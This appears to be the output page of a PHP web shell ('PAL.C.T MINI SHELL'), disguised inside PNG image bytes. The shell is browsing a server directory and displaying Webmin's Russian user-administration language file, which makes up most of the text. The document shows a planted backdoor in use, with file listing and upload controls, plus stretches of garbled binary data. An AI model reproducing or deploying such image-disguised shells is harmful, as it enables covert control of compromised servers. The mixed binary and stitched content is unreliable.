php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/useradmin/lang/
upload
files >> //usr/libexec/webmin/useradmin/lang/ru.auto

index_pft=Тип базы данных: $1
index_pft0=Старый /etc/passwd
index_pft1=BSD master.passwd
index_pft2=Обычные /etc/passwd и /etc/shadow
index_pft3=Пользовательские команды
index_pft4=AIX
index_pft5=SCO /etc/passwd и /etc/shadow
index_pft6=MacOS NetINFO
index_pft7=MacOS DSCL
index_userreal=Имя пользователя или настоящее имя
index_usheader=Поиск пользователя
index_gsheader=Поиск группы
index_fmode=Режим матча
index_ftext=Поиск текста
index_gjump=Перейти в группы ..
index_ujump=Перейти к пользователям ..
index_notusers2=В этой системе не найдено ни одного пользователя!
index_export=Экспорт в пакетный файл.
index_notgroups2=В этой системе не найдено ни одной группы!
index_loginsall=Все пользователи
index_loginsuser=Только пользователь
index_loginsdesc=Показать последние логины некоторых или всех пользователей Unix, которые подключились через SSH или Usermin.
index_lower=меньше чем
index_higher=больше, чем
index_whodesc=Показать пользователей, которые в настоящее время вошли в систему через SSH или Usermin.
index_mass=Удалить выбранных пользователей
index_mass2=Отключить выбранное
index_mass3=Включить выбранное
index_gmass=Удалить выбранные группы

search_found=Найдено $1 соответствующих пользователей ..
search_gfound=Найдено $1 соответствующих групп ..

gid=группа
gidnum=ID группы
sshkey=Открытый ключ SSH
uedit_manual=каталог
lastlogin=Последний Войти
uedit_samg=Новая группа с тем же именем, что и у пользователя
uedit_allg=Все группы
uedit_ing=В группах
uedit_swit=Войти в Usermin
uedit_egone=Выбранный пользователь больше не существует!
uedit_grename=Переименовать группу, если имя пользователя меняется?
uedit_dothers=Удалить пользователя в других модулях?
uedit_forcechange=Принудительно изменить при следующем входе в систему?
uedit_uid_def=автоматическая
uedit_uid_calc=вычисленный
uedit_disabled=Вход временно отключен
uedit_sys=Системные установки по умолчанию
uedit_clone=Клон пользователя

usave_ere=Имя пользователя не соответствует регулярному выражению $1
usave_ealluid=Все разрешенные UID были распределены
usave_esgname=«$1» не является допустимым именем вторичной группы
usave_edigestmod=В вашей системе включены пароли $4, однако модуль Perl <tt>$3</tt> не установлен. Чтобы принудительно использовать обычные зашифрованные пароли, измените <a href='$1'>конфигурацию модуля</a> или попросите Webmin <a href='$2'>загрузить и установить</a> для вас модуль за <tt>$3</tt>.
usave_edigestcrypt=В вашей системе включены пароли $4, но функция <tt>crypt</tt> не поддерживает этот формат. Чтобы принудительно использовать обычные зашифрованные пароли, настройте <a href='$1'>конфигурацию модуля</a>.
usave_epasswd_mindays=Пароль был изменен менее чем $1 дней назад
usave_epasswd_cmd=Ошибка проверки пароля
usave_eothers=Пользователь был успешно сохранен, но в другом модуле произошла ошибка : $1

gedit_desc=Описание
gedit_oneperline=(По одному в строке)
gedit_egone=Выбранная группа больше не существует!
gedit_cothers=Создать группу в других модулях?
gedit_mothers=Изменить группу в других модулях?
gedit_gid_calc=вычисленный
gedit_gid_def=автоматическая
gedit_allu=Все пользователи
gedit_selu=Пользователи в группе
gedit_pri=Основные члены группы
gedit_prinone=Ни у каких пользователей эта группа не является основной
gedit_clone=Clone Group

gsave_eallgid=Все разрешенные GID были распределены
gsave_eothers=Группа была успешно сохранена, но в другом модуле произошла ошибка : $1
gsave_egidused2=GID уже используется

udel_enum=Неверный номер пользователя
udel_eroot=Вам не разрешено удалять системных пользователей (с UID, меньшим или равным 10).
udel_ugroupother=Удаление группы этого пользователя в других модулях.
udel_failed=.. не удалось!  : $1

gdel_eroot=Вам не разрешено удалять системные группы (группы с GID, меньшим или равным 10).
gdel_enum=Неверный номер группы
gdel_dothers=Удалить группу в других модулях?
gdel_other=Удаление из других модулей.

acl_uedit_gid=Пользователи с GID в диапазоне
acl_uedit_re=Пользователи, соответствующие регулярному выражению
acl_delhome=Можете удалить домашний каталог?
acl_option=Необязательный
acl_always=Всегда
acl_never=Никогда
acl_export=Можно ли экспортировать пакетный файл?
acl_export1=Да, но отображается только в браузере
acl_on=Всегда включен
acl_off=Всегда выключен
acl_canedit=Можете выбрать
acl_autouid=Можно ли автоматически увеличивать номер UID?
acl_autogid=Можно ли автоматически увеличивать номер GID?
acl_calcuid=Можно рассчитать номер UID?
acl_calcgid=Можно рассчитать номер GID?
acl_useruid=Можете ввести номер UID?
acl_usergid=Можете ввести номер GID?
acl_udelete=Можете удалить пользователей?
acl_gdelete=Можно удалить группы?
acl_urename=Можно переименовать пользователей?
acl_grename=Можно переименовать группы?

log_gbatch=Выполненный групповой пакетный файл $1
log_gbatch_l=Выполняемый групповой пакетный файл $1 ($2 создан, $3 изменен, $4 удалено)
log_ugbatch=Выполнен загруженный групповой пакетный файл
log_ugbatch_l=Выполнен загруженный пакетный файл группы ($1 создан, $2 изменен, $3 удален)
log_delete_users=Удаленные $1 пользователи
log_delete_groups=Удаленные группы $1

batch_source=Пакетный источник данных
batch_source0=Загрузить файл
batch_source1=Файл на сервере
batch_source2=Текст в поле
batch_batch=Обновлять файл пользователя только после завершения пакета?
batch_etext=Текст пакетного файла не введен
batch_echeck=Неверное имя пользователя в строке $1 : $2 
batch_erename=Вам не разрешено переименовывать пользователей в строке $1 : $2 
batch_eother=Но в другом модуле произошла ошибка : $1
batch_emin=Недопустимые минимальные дни в строке $1 : $2 
batch_emax=Недопустимое максимальное количество дней в строке $1 : $2 
batch_ewarn=Недопустимые дни предупреждений в строке $1 : $2 
batch_einactive=Недопустимые неактивные дни в строке $1 : $2 
batch_eexpire=Недопустимый день истечения в строке $1 : $2 
batch_echange=Недопустимый день смены пароля в строке $1 : $2 
batch_instr=Инструкции и пакетный формат
batch_header=Пакетное создание, обновление и удаление параметров пользователя

export_title=Экспортировать пакетный файл
export_desc=Эта форма позволяет вам создать пакетный файл, содержащий некоторых или всех доступных пользователей в системе. Этот файл можно использовать на странице «Выполнить пакетный файл» в другой системе для повторного создания экспортированных пользователей, при условии, что он использует выбранный формат пакетного файла.
export_header=Пакетный пользовательский экспорт
export_to=Назначение пакетного файла
export_show=Показать в браузере
export_file=Написать в файл
export_ok=Экспортировать сейчас
export_err=Не удалось экспортировать пакетный файл
export_efile=Отсутствует файл для записи
export_efile2=Файл для записи не находится в правильном каталоге
export_egroup=Группа $1 не существует
export_eopen=Не удалось открыть выходной файл : $1
export_euid=Неверный первый UID в диапазоне
export_euid2=Неверный второй UID в диапазоне
export_egid=Неверный первый GID в диапазоне
export_egid2=Неверный второй GID в диапазоне
export_done=Успешно экспортированы пользователи $1 в файл $2 ($3).
export_pft=Пакетный формат файла
export_who=Пользователи для экспорта
export_ecannot=Вы не можете экспортировать пользователей

gexport_title=Пакетный файл экспорта групп
gexport_desc=Эта форма позволяет вам создать пакетный файл, содержащий некоторые или все доступные группы в системе. Этот файл можно использовать на странице «Выполнить пакетный файл группы» в другой системе для повторного создания экспортированных групп.
gexport_header=Опции группового экспорта
gexport_who=Группы для экспорта
gexport_ecannot=Вы не можете экспортировать группы
gexport_err=Не удалось экспортировать групповой пакетный файл
gexport_egid=Неверный первый GID в диапазоне
gexport_egid2=Неверный второй GID в диапазоне

pft_0=Только классический файл <tt>passwd</tt>
pft_1=Файл BSD <tt>master.passwd</tt>
pft_2=Стандартные файлы <tt>passwd</tt> и <tt>shadow</tt>
pft_3=Файл Unixware <tt>passwd</tt>
pft_4=Файлы AIX <tt>passwd</tt> и <tt>security</tt>
pft_5=OpenServer <tt>passwd</tt> и короткие <tt>shadow</tt> файлы
pft_6=База данных MacOS NetInfo

umass_title=Удалить пользователей
umass_err=Не удалось удалить пользователей
umass_sure=Вы действительно хотите удалить выбранных пользователей $1? Их домашние каталоги содержат $2 файлов.
umass_others=ПРЕДУПРЕЖДЕНИЕ! Некоторые домашние каталоги содержат файлы $1, принадлежащие другим пользователям.
umass_sure2=Вы действительно хотите удалить выбранных пользователей $1?
umass_euser=Вы не можете удалить пользователя $1
umass_enone=Пользователи не выбраны
umass_del1=Удалить пользователей
umass_del2=Удалить пользователей и домашние каталоги
umass_eroot=Вам не разрешено удалять системных пользователей (с UID, меньшим или равным 10).
umass_doing=Удаление пользователя $1 ..

gmass_title=Удалить группы
gmass_err=Не удалось удалить группы
gmass_sure=Вы уверены, что хотите удалить выбранные группы $1?
gmass_euser=Вы не можете удалять группу $1
gmass_enone=Группы не выбраны
gmass_del=Удалить группы
gmass_eroot=Вам не разрешено удалять системные группы (группы с GID, меньшим или равным 10).
gmass_doing=Удаление группы $1 ..
gmass_eprimary=Невозможно удалить группу $1, так как она является основной группой пользователя $2.

dmass_title=Отключить пользователей
dmass_sure=Вы действительно хотите отключить $1 выбранных пользователей? Они могут быть повторно включены позже без потери их паролей или данных.
dmass_dis=Отключить пользователей
dmass_pass=Временно блокировка пароля.
dmass_doing=Отключение пользователя $1 ..
dmass_already=.. уже отключен!

emass_title=Включить пользователей
emass_pass=Разблокировка пароля ..
emass_doing=Включение пользователя $1 ..
emass_already=.. уже включен!

gbatch_title=Выполнить групповой пакетный файл
gbatch_ecannot=Вы не можете использовать форму группового пакетного файла
gbatch_desc=Эта форма позволяет вам создавать, изменять или удалять сразу несколько групп из загруженного или локального текстового файла. Каждая строка в файле указывает одно действие, которое нужно выполнить, в зависимости от его первого поля. Форматы линии :
gbatch_desc2=<b>create</b>:groupname:passwd:gid:member,member,...<p><b>modify</b>:oldgroupname:groupname:passwd:gid:member,member,...<p><b>delete</b>:groupname
gbatch_descafter=В строках <b>create</b>, если поле <tt>gid</tt> оставлено пустым, Webmin автоматически назначит GID.
gbatch_descafter2=В строках <b>modify</b> пустое поле будет означать, что соответствующий атрибут группы не подлежит изменению.
gbatch_header=Опции создания, обновления и удаления групповых групп
gbatch_others=Создавать, изменять или удалять группы в других модулях?
gbatch_batch=Обновлять файл групп только после завершения пакета?
gbatch_chgid=Изменить GID на файлы измененных групп?
gbatch_ecaccess=Вам не разрешено создавать группу в строке $1 : $2 
gbatch_emaccess=Вы не можете изменять группу в строке $1 : $2 
gbatch_edaccess=Вы не можете удалить группу в строке $1 : $2 
gbatch_created=Создана группа $1
gbatch_deleted=Удаленная группа $1
gbatch_modified=Модифицированная группа $1
gbatch_enogroup=Группа не существует в строке $1 : $2 
gbatch_eprimary=Невозможно удалить группу в строке $1, так как это основная группа пользователя $2.
gbatch_egroup=Повторяющееся имя группы в строке $1 : $2 
gbatch_egroupname=Неверное имя группы в строке $1
gbatch_erename=Вам не разрешено переименовывать группы в строке $1 : $2 
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`